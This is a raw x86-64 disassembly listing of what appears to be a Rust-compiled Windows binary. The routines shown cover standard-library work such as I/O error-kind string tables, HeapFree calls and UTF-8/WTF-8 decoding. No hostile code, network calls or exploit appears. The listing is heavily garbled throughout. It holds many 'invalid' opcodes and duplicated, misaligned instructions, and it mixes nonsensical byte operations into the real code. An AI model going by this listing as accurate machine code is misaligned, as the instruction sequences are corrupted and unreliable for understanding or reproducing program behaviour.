mov qword [rbp - 0x58], 3
add byte [rax], al
mov qword [rbp - 0x40], 0
rol byte [r8], 0
rol byte [rax], 0
add byte [rax], al
lea rax, [rbp - 0x30]
ror byte [r8 - 0x77], 1
mov r8b, 0x48
mov al, 0x48
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 2
mov eax, 2
mov al, 0x48
mov dword [rbp - 0x48], 2
mov eax, 2
add al, byte [rax]
add byte [rax], al
mov rcx, qword [rsi + 0x20]
mov rdx, qword [rsi + 0x28]
push rsi
invalid
and byte [rax - 0x75], cl
push rsi
sub byte [rbp + rcx*4 + 0x45], cl
movabs al, byte [0x48c389fffc152fe8]
invalid
adc eax, 0xc389fffc
invalid
lea r8, [rbp - 0x60]
call fcn.140042180
invalid
adc eax, 0xc389fffc
movabs al, byte [0x48c389fffc152fe8]
invalid
cmp qword [rbp - 8], 0
cmp dword [rbp - 8], 0
je 0x140080f72
test byte [rbx + rax], dl
add byte [rax], al
add eax, dword [rax]
add byte [rbx + rcx*4 + 0x45], cl
mov r8, qword [rbp - 0x10]
mov r8, qword [rbp - 0x10]
mov rcx, qword [0x1400f91f8]
or eax, 0x7858f
pop qword [rbp - 0x2dcefff9]
xor edx, edx
sar bh, cl
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x2f797
test dword [rdx], 0x2fce900
add byte [rax], al
invalid
add al, byte [rax]
jmp 0x140080f72
shr rdx, 0x20
lea rax, [0x1400f063c]
lea eax, [0x1400f063c]
mov ebx, 0x480006f9
invalid
add byte [rax + 0x63], cl
or al, 0x90
movsxd rcx, dword [rax + rdx*4]
add rcx, rax
sar edi, 0xe1
lea rax, str.entity_not_foundpermission_deniedconnection_refusedconnection_resethost_unreachablenetwork_unreachableconnection_abortednot_connectedaddress_in_useaddress_not_availablenetwork_downbroken_pipeentity_already_existsoperation_would_blocknot_a_directoryis_a_directorydirectory_not_emptyread_only_filesystem_or_storage_mediumfilesystem_loop_or_indirection_limit__e.g._symlink_loop_stale_network_file_handleinvalid_input_parameterinvalid_datatimed_outwrite_zerono_storage_spaceseek_on_unseekable_filefilesystem_quota_exceededfile_too_largeresource_busyexecutable_file_busydeadlockcross_device_link_or_renametoo_many_linksinvalid_filenameargument_list_too_longoperation_interruptedunsupportedunexpected_end_of_fileout_of_memoryother_erroruncategorized_errorOscodekind
lea eax, str.entity_not_foundpermission_deniedconnection_refusedconnection_resethost_unreachablenetwork_unreachableconnection_abortednot_connectedaddress_in_useaddress_not_availablenetwork_downbroken_pipeentity_already_existsoperation_would_blocknot_a_directoryis_a_directorydirectory_not_emptyread_only_filesystem_or_storage_mediumfilesystem_loop_or_indirection_limit__e.g._symlink_loop_stale_network_file_handleinvalid_input_parameterinvalid_datatimed_outwrite_zerono_storage_spaceseek_on_unseekable_filefilesystem_quota_exceededfile_too_largeresource_busyexecutable_file_busydeadlockcross_device_link_or_renametoo_many_linksinvalid_filenameargument_list_too_longoperation_interruptedunsupportedunexpected_end_of_fileout_of_memoryother_erroruncategorized_errorOscodekind
jmp rcx
lea eax, str.entity_not_foundpermission_deniedconnection_refusedconnection_resethost_unreachablenetwork_unreachableconnection_abortednot_connectedaddress_in_useaddress_not_availablenetwork_downbroken_pipeentity_already_existsoperation_would_blocknot_a_directoryis_a_directorydirectory_not_emptyread_only_filesystem_or_storage_mediumfilesystem_loop_or_indirection_limit__e.g._symlink_loop_stale_network_file_handleinvalid_input_parameterinvalid_datatimed_outwrite_zerono_storage_spaceseek_on_unseekable_filefilesystem_quota_exceededfile_too_largeresource_busyexecutable_file_busydeadlockcross_device_link_or_renametoo_many_linksinvalid_filenameargument_list_too_longoperation_interruptedunsupportedunexpected_end_of_fileout_of_memoryother_erroruncategorized_errorOscodekind
add eax, 0x67da7
jge 0x140080c96
add byte [rcx + 0x10], bh
mov ecx, 0x10
add byte [rax], al
add cl, ch
jmp 0x140080f19
jle 0x140080c9b
add byte [rax], al
lea rax, [0x1400e8a48]
lea eax, [0x1400e8a48]
add eax, 0x67da6
jge 0x140080ca7
add byte [rcx + 0x11], bh
mov ecx, 0x11
add byte [rax], al
add cl, ch
jmp 0x140080f19
insd dword [rdi], dx
add al, byte [rax]
add byte [rax - 0x73], cl
lea eax, [0x1400e8a59]
add eax, 0x67da6
mov ecx, 0x12
jmp 0x140080f19
pop rsp
add al, byte [rax]
invalid
add byte [rax], al
add cl, ch
pop rsp
add al, byte [rax]
add byte [rax - 0x73], cl
add eax, 0x67da7
lea eax, [0x1400e8a6b]
mov ecx, 0x10
add byte [rax], al
add cl, ch
add al, byte [r8]
add al, byte [rax]
jmp 0x140080f19
add al, byte [rax]
add byte [rax - 0x73], cl
add eax, 0x67da6
lea eax, [0x1400e8a7b]
mov ecx, 0x10
add byte [rax], al
add cl, ch
jmp 0x140080f19
cmp al, byte [rdx]
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x67da5
add al, byte [rax]
add byte [rax - 0x73], cl
lea eax, [0x1400e8a8b]
add eax, 0x67da5
jmp 0x140080f14
add al, byte [rax]
add byte [rax - 0x73], cl
invalid
lea eax, [0x1400e8a9e]
add eax, 0x67dac
jge 0x140080cf7
add byte [rcx + 0x12], bh
mov ecx, 0x12
jmp 0x140080f19
add al, byte [rax]
add byte [rax - 0x73], cl
invalid
lea eax, [0x1400e8ab0]
add eax, 0x67dad
jge 0x140080d08
add byte [rcx + 0xd], bh
mov ecx, 0xd
jmp 0x140080f19
add al, byte [rax]
add byte [rax - 0x73], cl
invalid
lea eax, [0x1400e8abd]
add eax, 0x67da9
jge 0x140080d19
add byte [rcx + 0xe], bh
mov ecx, 0xe
jmp 0x140080f19
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
lea eax, [0x1400e8acb]
add eax, 0x67da6
jge 0x140080d2a
add byte [rcx + 0x15], bh
mov ecx, 0x15
jmp 0x140080f19
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
lea eax, [0x1400e8ae0]
add eax, 0x67daa
jge 0x140080d3b
add byte [rcx + 0xc], bh
mov ecx, 0xc
jmp 0x140080f19
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
lea eax, [0x1400e8aec]
add eax, 0x67da5
jge 0x140080d4c
add byte [rcx + 0xb], bh
mov ecx, 0xb
add byte [rax], al
add cl, ch
jmp 0x140080f19
enter 1, 0
lea rax, [0x1400e8af7]
lea eax, [0x1400e8af7]
lea eax, [0x1400e8af7]
add eax, 0x67d9f
jge 0x140080d5d
add byte [rcx + 0x15], bh
mov ecx, 0x15
add byte [rax], al
add cl, ch
jmp 0x140080f19
mov bh, 1
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x67da3
add byte [rax - 0x73], cl
lea eax, [0x1400e8b0c]
add eax, 0x67da3
mov ecx, 0x15
jmp 0x140080f19
cmpsb byte [rsi], byte [rdi]
add dword [rax], eax
invalid
add byte [rax], al
add cl, ch
cmpsb byte [rsi], byte [rdi]
add dword [rax], eax
add byte [rax - 0x73], cl
lea eax, [0x1400e8b21]
add eax, 0x67da7
mov ecx, 0xf
jmp 0x140080f19
xchg ebp, eax
add dword [rax], eax
invalid
add byte [rax], al
add cl, ch
invalid
xchg ebp, eax
add dword [rax], eax
add byte [rax - 0x73], cl
lea eax, [0x1400e8b30]
add eax, 0x67da5
mov ecx, 0xe
jmp 0x140080f19
test byte [rcx], al
add byte [rax], al
invalid
add byte [rax], al
add cl, ch
test byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x67da2
add byte [rax - 0x73], cl
lea eax, [0x1400e8b3e]
add eax, 0x67da2
jge 0x140080da1
add cl, ch
jae 0x140080da0
invalid
jmp 0x140080f14
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x67da9
jge case.0x14007e263.77
invalid
lea rax, [0x1400e8b51]
lea eax, [0x1400e8b51]
jge case.0x14007e263.77
add byte [rcx + 0x26], bh
mov ecx, 0x26
add byte es:[rax], al
add cl, ch
invalid
add dword [eax], eax
add dword [rax], eax
jmp 0x140080f19
add dword [rax], eax
add byte [rax - 0x73], cl
lea eax, [0x1400e8b77]
add eax, 0x67dbe
jge case.0x14007e263.78
add byte [rcx + 0x38], bh
mov ecx, 0x38
add byte [rax], al
add cl, ch
invalid
jmp 0x140080f19
push rsi
add dword [rax], eax
add byte [rax - 0x73], cl
lea eax, [0x1400e8baf]
add byte [rax], al
lea rax, [0x1400e8baf]
lea eax, [0x1400e8baf]
lea eax, [0x1400e8baf]
jge case.0x14007e263.79
add byte [rcx + 0x19], bh
mov ecx, 0x19
jmp 0x140080f19
add dword [rax], eax
add byte [rax - 0x73], cl
lea eax, [0x1400e8bc8]
lea eax, [0x1400e8bc8]
jge case.0x14007cad1.564
add byte [rcx + 0x17], bh
mov ecx, 0x17
add byte [rax], al
add cl, ch
jmp 0x140080f19
lea rax, [0x1400e8bdf]
lea eax, [0x1400e8bdf]
jmp 0x140080f19
add dword [rax], eax
add byte [rax - 0x73], cl
lea eax, [0x1400e8bdf]
lea eax, [0x1400e8bdf]
jge case.0x140075b85.1437
add byte [rcx + 0xc], bh
mov ecx, 0xc
jmp 0x140080f19
add dword [rax], eax
add byte [rax - 0x73], cl
lea eax, [0x1400e8beb]
lea eax, [0x1400e8beb]
out dx, al
jge 0x140080e02
add byte [rcx + 9], bh
mov ecx, 9
add byte [rax], al
add cl, ch
jmp 0x140080f19
adc al, byte [rcx]
add byte [rax], al
invalid
add dword [rax], eax
add byte [rax - 0x73], cl
lea rax, [0x1400e8bf4]
lea rax, [0x1400e8bf4]
lea eax, [0x1400e8bf4]
jge case.0x1400281ec.1381
add byte [rcx + 0xa], bh
mov ecx, 0xa
or al, byte [rax]
add byte [rax], al
jmp 0x140080f19
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0x67ddf
fistp qword [rbp + 6]
invalid
lea eax, [0x1400e8bfe]
fistp qword [rbp + 6]
jge 0x140080e24
add byte [rcx + 0x10], bh
mov ecx, 0x10
add byte [rax], al
add cl, ch
lock add byte [rax], al
add byte [rax], al
jmp 0x140080f19
add byte [rax], al
add byte [rax], al
lea rax, [0x1400e8c0e]
lea eax, [0x1400e8c0e]
add byte [rax - 0x73], cl
lea eax, [0x1400e8c0e]
add eax, 0x67dde
fidivr word [rbp + 6]
jge 0x140080e35
add byte [rcx + 0x17], bh
mov ecx, 0x17
invalid
add byte [rax], al
jmp 0x140080f19
add byte [rax], al
add byte [rax - 0x73], cl
lea eax, [0x1400e8c25]
lea eax, [0x1400e8c25]
jge 0x140080e46
invalid
add byte [rcx + 0x19], bh
mov ecx, 0x19
sbb dword [rax], eax
add byte [rax], al
invalid
add cl, ch
invalid
jmp 0x140080f19
add byte [rax], al
lea rax, [0x1400e8c3e]
lea eax, [0x1400e8c3e]
lea eax, [0x1400e8c3e]
add eax, 0x67dec
jge case.0x140075b85.1455
invalid
add byte [rcx + 0xe], bh
mov ecx, 0xe
invalid
jmp 0x140080f19
add byte [rax - 0x73], cl
lea rax, [0x1400e8c4c]
lea eax, [0x1400e8c4c]
add eax, 0x67de9
invalid
add byte [rcx + 0xd], bh
mov ecx, 0xd
add byte [rax], al
add cl, ch
jmp 0x140080f19
lodsb al, byte [rsi]
add byte [rax], al
invalid
add byte [rax], al
lea rax, [0x1400e8c59]
lea eax, [0x1400e8c59]
add byte [rax - 0x73], cl
lea eax, [0x1400e8c59]
add eax, 0x67de5
invalid
add byte [rcx + 0x14], bh
mov ecx, 0x14
jmp 0x140080f19
wait
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x67de8
invalid
jge 0x140080e8a
invalid
invalid
lea eax, [0x1400e8c6d]
call 0xf9081503
or byte [rax], al
invalid
mov ecx, 8
add byte [rax], al
add cl, ch
add byte [rax], al
jmp 0x140080f19
mov al, byte [rax]
add byte [rax], al
lea rax, [0x1400e8c75]
add eax, 0x67ddf
add byte [rcx + 0x1b], bh
mov ecx, 0x1b
add byte [rax], al
jmp 0x140080f19
jl 0x140080ee6
lea rax, [0x1400e8c90]
jge case.0x140082303.38
add byte [rcx + 0xe], bh
mov ecx, 0xe
add byte [rax], al
jmp 0x140080f19
lea rax, [0x1400e8c9e]
lea eax, [0x1400e8c9e]
add eax, 0x67dec
add byte [rcx + 0x10], bh
mov ecx, 0x10
adc byte [rax], al
add byte [rax], al
jmp 0x140080f19
lea rax, [0x1400e8cae]
jge case.0x140082303.40
add byte [rcx + 0x16], bh
mov ecx, 0x16
add byte [rax], al
add bl, ch
jmp 0x140080f19
jmp 0x140080f19
lea rax, [0x1400e8cc4]
lea eax, [0x1400e8cc4]
add byte [rcx + 0x15], bh
mov ecx, 0x15
jmp 0x140080f19
lea rax, [0x1400e8cd9]
std
jge case.0x140082303.42
add byte [rcx + 0xb], bh
mov ecx, 0xb
jmp 0x140080f19
lea rax, [0x1400e8ce4]
mov ecx, 0x16
add byte [rax], al
invalid
jge case.0x140082303.43
add byte [rcx + 0x16], bh
jmp 0x140080f19
add eax, 0x67e02
mov ecx, 0xd
add byte [rax], al
add byte [rax], al
add byte [rax], al
jmp 0x140080f19
lea rax, [0x1400e8d07]
mov ecx, 0xb
or eax, dword [rax]
add byte [rax], al
jle case.0x1400281ec.1425
add byte [rcx + 0xb], bh
or eax, dword [rax]
add byte [rax], al
jmp 0x140080f19
add eax, 0x67dfe
add byte [rcx + 0x13], bh
mov ecx, 0x13
add byte [rax], al
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rcx
fmul dword [r8 - 0x73]
ror byte [r8 - 0x77], 1
invalid
invalid
lea rax, [0x1400514b0]
add eax, 0xfffd0580
ror byte [r8 - 0x77], 1
fmul dword [r8 - 0x73]
ror byte [r8 - 0x77], 1
invalid
add eax, 0xfffd0580
dec dword [rax - 0x77]
clc
mov qword [rbp - 8], rax
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
add eax, 0x6bf25
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], 1
mov dword [rbp - 0x58], 1
add byte [rax], al
invalid
movabs al, byte [0x1a845c748]
add byte [rax], al
add byte [rax - 0x39], cl
invalid
invalid
rol byte [r8], 0
add byte [rax], al
mov qword [rbp - 0x40], 0
add byte [rax], al
add byte [rax], al
lea rax, [rbp - 0x10]
mov qword [rbp - 0x50], rax
mov r8b, 0x48
mov dword [rbp - 0x48], 1
mov r8d, 1
invalid
mov r8d, 1
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rdx, qword [rsi + 0x28]
lea r8, [rbp - 0x60]
call fcn.140042180
cld
invalid
mov ebx, eax
cld
dec dword [rcx + 0x48d889c3]
mov eax, ebx
add rsp, 0x98
add esp, 0x98
add esp, 0x98
pop rbx
pop rdi
pop rsi
pop rbp
ret
and al, 0x10
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
sub esp, 0x28
sub esp, 0x28
lea rbp, [rdx + 0x80]
cmp qword [rbp - 8], 0
cmp dword [rbp - 8], 0
add byte [rax], 0
add byte [rax], al
add byte [rax - 0x7d], cl
jge 0x140080f90
cmp dword [rbp - 8], 0
add byte [rbx + rdx + 0x4c], dh
mov eax, dword [rbp - 0x10]
je 0x140080fae
mov r8, qword [rbp - 0x10]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
add byte [rax + 0x28c48348], dl
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
int3
int3
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x68
mov r14, qword [rcx]
mov rdi, qword [rcx + 0x10]
mov rsi, qword [rdx + 0x20]
mov r15, qword [rdx + 0x28]
sub byte [rcx - 0x75], cl
outsd dx, dword [rsi]
sbb byte [rax - 0x73], cl
adc eax, 0x6a9aa
sub byte [rcx - 0x75], cl
outsd dx, dword [rsi]
sbb byte [rax - 0x73], cl
adc eax, 0x6a9aa
test eax, 0xb8410006
add dword [rax], eax
add byte [rax], al
mov r8d, 1
mov rcx, rsi
call rbp
mov bl, 1
test al, al
jne case.0x14002f3a6.1156
rol byte [rcx], 0
invalid
rol byte [rcx], 0
add byte [rbp - 0x73], cl
lea r13, [r14 + rdi]
lea r13, [r14 + rdi]
xor ecx, ecx
cmp rcx, rdi
stc
je case.0x1400279e4.1321
add dword [rax], eax
add byte [rbp - 0x73], cl
add al, 0xe
lea r8, [r14 + rcx]
lea eax, [rsi + rcx]
mov r12, rcx
mov esp, ecx
mov rdx, r8
jmp 0x14008103f
ret 0x25eb
add rdx, 2
add edx, 2
cmp rax, r13
cmp eax, ebp
cmovne rax, rdx
mov r10d, 2
add al, byte [rax]
add byte [rax], al
ret 0xba41
add al, byte [rax]
add byte [rax], al
nop dword [rax + rax]
add byte [rbp + 1], cl
invalid
add r12, r10
mov rdx, rax
cmp rax, r13
cmp eax, ebp
cmp eax, ebp
je case.0x1400271cf.1290
add byte [rax - 0x73], cl
add dword [rdi + r9 - 0x4a], eax
movzx r9d, byte [rdx]
invalid
invalid
add dword [rax], eax
lea rax, [rdx + 1]
movzx r9d, byte [rdx]
mov dh, 0xa
mov r10d, 1
add byte [rax], al
add byte [rbp - 0x7c], al
test r9b, r9b
leave
jns 0x140081030
cmp r9b, 0xe0
cmp cl, 0xe0
jb 0x14008101a
ret 0x8041
cmp r9b, 0xed
stc
in eax, dx
jne case.0x1400279e4.1289
cmp rax, r13
cmp eax, ebp
je case.0x1400271cf.1290
sub dword [rcx], eax
add byte [rax], al
lea r9, [rdx + 2]
lea ecx, [rdx + 2]
cmp r9, r13
je case.0x1400271cf.1290
test byte [rcx + rax], bl
add byte [rax], al
invalid
jmp 0x141249481
test byte [rcx + rax], bl
add byte [rax], al
invalid
add byte [rdi], cl
mov dh, 0x42
invalid
movzx eax, byte [rdx + 1]
movzx eax, ax
add dword [rdi], ecx
add dword [rdi], ecx
mov bh, 0xc0
cmp eax, 0x9f
ja case.0x1400271cf.1254
add byte [rax], al
add byte [rdi + 0x4b], dh
add rdx, 3
add edx, 3
ret 0x4103
mov r10d, 3
mov edx, 3
add byte [rax - 0x77], cl
mov rax, rdx
jmp 0x140081030
shr bl, 1
lahf
add rdx, 2
add edx, 2
cmp rax, r13
cmove rdx, rax
cmove edx, eax
call 0x1104c1fe4
cmove edx, eax
xor eax, eax
cmp rdx, r13
invalid
setne al
ror byte [rax + 1], 0xd0
invalid
ror byte [rax + 1], 0xd0
mov r10d, 3
add eax, dword [rax]
add byte [rax], al
add byte [rcx - 0x80], al
invalid
add byte [rax], al
cmp r9b, 0xf0
cmp cl, 0xf0
stc
invalid
jb 0x140081030
jns 0x1400810b4
invalid
invalid
xor edx, edx
cmp rax, r13
invalid
ror byte [rcx + rdi - 0x18], cl
call 0x188caa5cf
add eax, edx
setne dl
add rax, rdx
mov r10d, 4
mov edx, 4
add byte [rax], al
add cl, ch
invalid
jmp 0x140081030
invalid
invalid
movzx edx, byte [r9]
mov dh, 0x11
and eax, 0x1f
invalid
shl eax, 6
and edx, 0x3f
loop 0x140081119
add eax, edx
add eax, 0xd800
add byte [rax], al
rol byte [0x14008e8e1], 1
add byte [rax], al
mov word [rsp + 0x26], ax
mov dword [rsp + 0x26], eax
and al, 0x26
mov r9, r12
mov ecx, esp
sub r9, rcx
jb 0x1400811d2
loopne case.0x1400271cf.1259
add byte [rax], al
loopne case.0x1400271cf.1259
add byte [rax], al
add byte [rcx + 0x39], cl
cld
add byte [rax], al
cmp r12, rdi
ja case.0x140032048.1135
call 0x1880810fc
add byte [rax], al
mov rcx, rsi
mov ecx, esi
mov rdx, r15
mov edx, edi
call case.0x1400271cf.1306
test al, al
ror byte [rdi], 0x85
mov cl, 0
add byte [rax], al
add byte [rax], al
add byte [rax + rax*8 + 0xb1850f], al
ror byte [rdi], 0x85
mov cl, 0
add byte [rax], al
add byte [rax - 0x73], cl
lea eax, [rsp + 0x26]
add byte [rax], al
lea rax, [rsp + 0x26]
lea eax, [rsp + 0x26]
and al, 0x26
mov qword [rsp + 0x28], rax
sub byte [rax - 0x73], cl
lea rax, [0x140043310]
lea eax, [0x140043310]
add eax, 0xfffc21f1
int1
and esp, edi
dec dword [rax - 0x77]
invalid
invalid
mov qword [rsp + 0x30], rax
and al, 0x30
xor byte [rax - 0x73], cl
lea rax, str.u
add eax, 0x6846d
insd dword [rdi], dx
test byte [rsi], al
add byte [rax - 0x77], cl
invalid
invalid
mov qword [rsp + 0x38], rax
and al, 0x38
cmp byte [rax - 0x39], cl
mov qword [rsp + 0x40], 2
mov dword [rsp + 0x40], 2
and al, 0x40
and al, 0x40
add al, byte [rax]
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x58], 0
and al, 0x58
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x28
lea rax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
and al, 0x48
mov qword [rsp + 0x50], 1
mov qword [rsp + 0x50], 1
and al, 0x50
and al, 0x50
push rax
add dword [rax], eax
add byte [rax], al
mov rcx, rsi
int1
mov rdx, r15
mov edx, edi
lea r8, [rsp + 0x38]
lea eax, [rsp + 0x38]
and al, 0x38
cmp al, ch
sbb edx, dword [rax]
call fcn.140042180
cld
inc dword [rax + rax*8 - 0x7cb6a98b]
test al, al
jne case.0x14002f3a6.1156
invalid
invalid
test al, al
jne case.0x14002f3a6.1156
add r12, 3
add esp, 3
invalid
add ecx, dword [rcx + rcx*4 - 0x1f]
mov rcx, r12
loope case.0x1400271cf.1296
cmp r12, rdi
cmp esp, edi
jbe 0x140081005
invalid
dec dword [rbp + rcx*4 + 5]
pop rax
test byte [rsi], al
lea r8, str.library_std_src_sys_commonwtf8.rs
lea eax, [0x1400e95d8]
add eax, 0x68458
add byte [rcx + rcx*4 - 0x1f], cl
mov rcx, r12
mov ecx, esp
loope case.0x1400279e4.1330
mov rdx, rdi
mov edx, edi
call fcn.1400a9cf0
mov eax, dword [rdx]
add byte [rdi], cl
or ecx, dword [rax - 0x77]
invalid
invalid
add al, byte [rax]
ud2
mov rcx, rdi
stc
sub rdi, rcx
add r14, rcx
add esi, ecx
mov rcx, rsi
mov ecx, esi
mov rdx, r15
cli
mov r8, r14
invalid
mov r9, rdi
call case.0x1400271cf.1306
pop rcx
add byte [rax], al
add byte [rax], al
test al, al
jne case.0x14002f3a6.1156
lea rdx, [0x1400eb994]
add byte [rax], al
test al, al
jne case.0x14002f3a6.1156
lea rdx, [0x1400eb994]
lea edx, [0x1400eb994]
cmpsd dword [rsi], dword [rdi]
invalid
mov r8d, 1
mov eax, 1
add byte [rax - 0x77], cl
mov rcx, rsi
int1
call rbp
mov ebx, eax
ret
ret
mov eax, ebx
add rsp, 0x68
invalid
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop r14
pop r15
ret
lea r8, str.library_std_src_sys_commonwtf8.rs
lea eax, [0x1400e9578]
add dword [rsi], 0
invalid
mov rdx, r12
mov edx, esp
loop case.0x1400279e4.1329
call fcn.1400aa0c0
fisttp word [rsi + 0xb0f0002]
ud2
or ecx, dword [rbp + rcx*4 + 5]
mov es, word [rbx - 0x76b3fffa]
add dword [rsi], 0
mov rcx, r12
invalid
lea r8, str.library_std_src_sys_commonwtf8.rs
lea eax, [0x1400e9578]
invalid
add byte [rcx + rcx*4 - 0x1f], cl
mov rcx, r12
mov ecx, esp
mov rdx, rdi
mov edx, edi
cli
call fcn.1400a9df0
mov eax, dword [rdx]
add byte [rdi], cl
ud2
or ecx, esp
int3
int3
int3
int3
int3
push r15
push r14
push rsi
push r13
push rbp
push r12
push rsp
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xd8
in al, dx
fadd dword [rax]
add byte [rax], al
invalid
add byte [rdi + rcx + 0x29], al
movaps xmmword [rsp + 0xc0], xmm8
sub dword [rsp + 0xc0], eax
test byte [rax + rax*8], ah
add byte [rax], al
add byte [rdi], cl
invalid
add byte [rax], al
movaps xmmword [rsp + 0xb0], xmm7
sub dword [rsp + 0xb0], edi
mov al, 0
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xa0], esi
and al, 0xa0
add byte [rax], al
add byte [rax], al
movaps xmmword [rsp + 0xa0], xmm6
and al, 0xa0
add byte [rax], al
invalid
movabs al, byte [0x8948c7894c000000]
add byte [rax], al
add byte [rcx + rcx*4 - 0x39], cl
mov rdi, r8
mov edi, eax
invalid
mov qword [rsp + 0x90], rdx
xchg esp, eax
and al, 0x90
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rsp + 0x88], rcx
mov word [rax + rcx*4], fs
add byte [rax], al
add byte [rbp + 1], cl
add ecx, eax
mov qword [rsp + 0x60], r8
add byte [rax], al
add r9, r8
mov qword [rsp + 0x60], r8
mov dword [rsp + 0x60], eax
and al, 0x60
and al, 0x60
mov qword [rsp + 0x98], r9
mov qword [rsp + 0x68], r9
and al, 0x68
and al, 0x98
cwde
add byte [rax], al
add byte [rcx + rcx*4 + 0x4c], cl
and al, 0x68
and al, 0x68
mov byte [rsp + 0x70], 0x81
add esi, 0x817c2444
mov byte [rsp + 0x7c], 0x81
mov r13b, 0x81
mov ch, 0x81
and dword [rsi + 0xf], 0xf4c7356f
movdqa xmm6, xmmword [0x1400b0730]
hlt
add al, byte [rax]
movdqa xmm7, xmmword [0x1400b0740]
iretd
hlt
movdqa xmm8, xmmword [0x1400b0750]
outsd dx, dword [rsi]
add eax, 0x2f4d6
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x58], eax
and al, 0x58
mov qword [rsp + 0x50], rax
push rax
mov eax, ebx
movzx ebx, word [rsp + 0x58]
pop rax
shl rbx, 0x30
movzx ebp, word [rsp + 0x50]
insb byte [rdi], dx
and al, 0x50
push rax
push rax
jmp 0x1400812e0
lea rax, [0x1400d9435]
lea eax, [0x1400d9435]
add eax, 0x44894800
and al, 0x28
mov qword [rsp + 0x28], rax
and al, 0x28
mov qword [rsp + 0x30], 0x12f
mov dword [rsp + 0x30], 0x12f
invalid
add byte [rax], al
mov qword [rsp + 0x20], 0x11f
and byte [rdi], bl
add dword [rax], eax
invalid
add byte [rax], al
add byte [rcx - 0x48], al
sub byte [rax], al
add byte [rax], al
invalid
mov r8d, 0x28
add byte [rax], al
add byte [rcx + rcx*4 - 0x17], al
mov ecx, ebp
mov ecx, r13d
mov ecx, ebp
lea rdx, [0x1400d92c6]
adc eax, 0x58002
add byte [rbp + rcx*4 + 0xd], cl
lea r9, [0x1400d9316]
add byte [0x17ce8facf], 0xfc
call fcn.140044fb0
test al, al
ror byte [rdi], 0x85
add dword [rax], eax
add dword [rax], eax
invalid
cld
inc dword [rax + rax*8 + 0x142850f]
ror byte [rdi], 0x85
add dword [rax], eax
add dword [rax], eax
add dword [rax], eax
add byte [rax], al
add cl, ch
add al, byte [r8]
invalid
jmp 0x140081520
add byte [rdi], cl
invalid
cmp r13b, 0x81
je 0x1400812f9
xor dword [rbx + rdx + 0x41], 0xf80fd80
cmp r13b, 0x80
je 0x140081690
test byte [rax + 0x44000003], ah
cmp al, ah
jb 0x1400816c0
add byte [rax - 0x7b], cl
test rdi, rdi
je 0x140081706
add al, 4
add byte [rax], al
dec dword [rdi]
test byte [rsp + rax], al
add al, 4
add al, 4
add al, 0
add byte [rax + 0x3b], cl
invalid
mov esp, 0x9824
cwde
add byte [rax], al
add byte [rax], al
cmp rdi, qword [rsp + 0x98]
cwde
add byte [rax], al
add byte [rdi], cl
test dh, dh
je 0x140081706
add eax, dword [rax]
add byte [rdi], cl
movzx edx, byte [rdi]
mov dh, 0x17
movzx r13d, dl
movzx ebp, dl
invalid
test r13b, r13b
js 0x140081340
and al, 0x48
inc edi
inc rdi
mov esi, r13d
cmp r13d, 0x27
cmp ebp, 0x27
jbe 0x1400813c0
xchg byte [rax + rax - 0x40170000], dl
add byte [rax], al
invalid
add byte [rax], al
add cl, ch
jmp 0x1400813f0
mov edi, 0x66000000
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rax], al
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx + rcx*4 - 0x18], al
mov eax, r13d
and eax, 0x1f
invalid
movzx r8d, byte [rdi + 1]
movzx eax, byte [rdi + 1]
and r8d, 0x3f
and eax, 0x3f
cmp r13b, 0xdf
fbstp tbyte [rsi + 0x47]
jbe 0x14008139c
movzx ecx, byte [rdi + 2]
shl r8d, 6
shl eax, 6
and ecx, 0x3f
or ecx, r8d
or ecx, eax
cmp dl, 0xf0
jb case.0x1400689bc.1086
invalid
push 0x6fb60f44
movzx r13d, byte [rdi + 3]
and eax, 7
loopne 0x140081377
add eax, dword [rbx - 0x1f3ef820]
adc al, cl
shl ecx, 6
loopne 0x140081377
invalid
shl eax, 0x12
shl ecx, 6
invalid
and r13d, 0x3f
and ebp, 0x3f
or r13d, ecx
int 0x41
or ebp, eax
or r13d, eax
cmp r13d, 0x110000
add byte [rax], al
adc dword [rax], eax
je 0x140081706
add eax, dword [rax]
add byte [rax - 0x7d], cl
add rdi, 4
mov dword [rsp + rax*2], 0x8341ee89
mov esi, r13d
cmp r13d, 0x27
std
invalid
std
invalid
jbe 0x1400813c0
jmp 0x1400813f0
add rdi, 2
add al, cl
loopne 0x1400813a9
shl eax, 6
or eax, r8d
rol byte [rcx - 0x77], 0xc5
mov r13d, eax
mov esi, r13d
cmp r13d, 0x27
cmp ebp, 0x27
ja 0x1400813f0
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
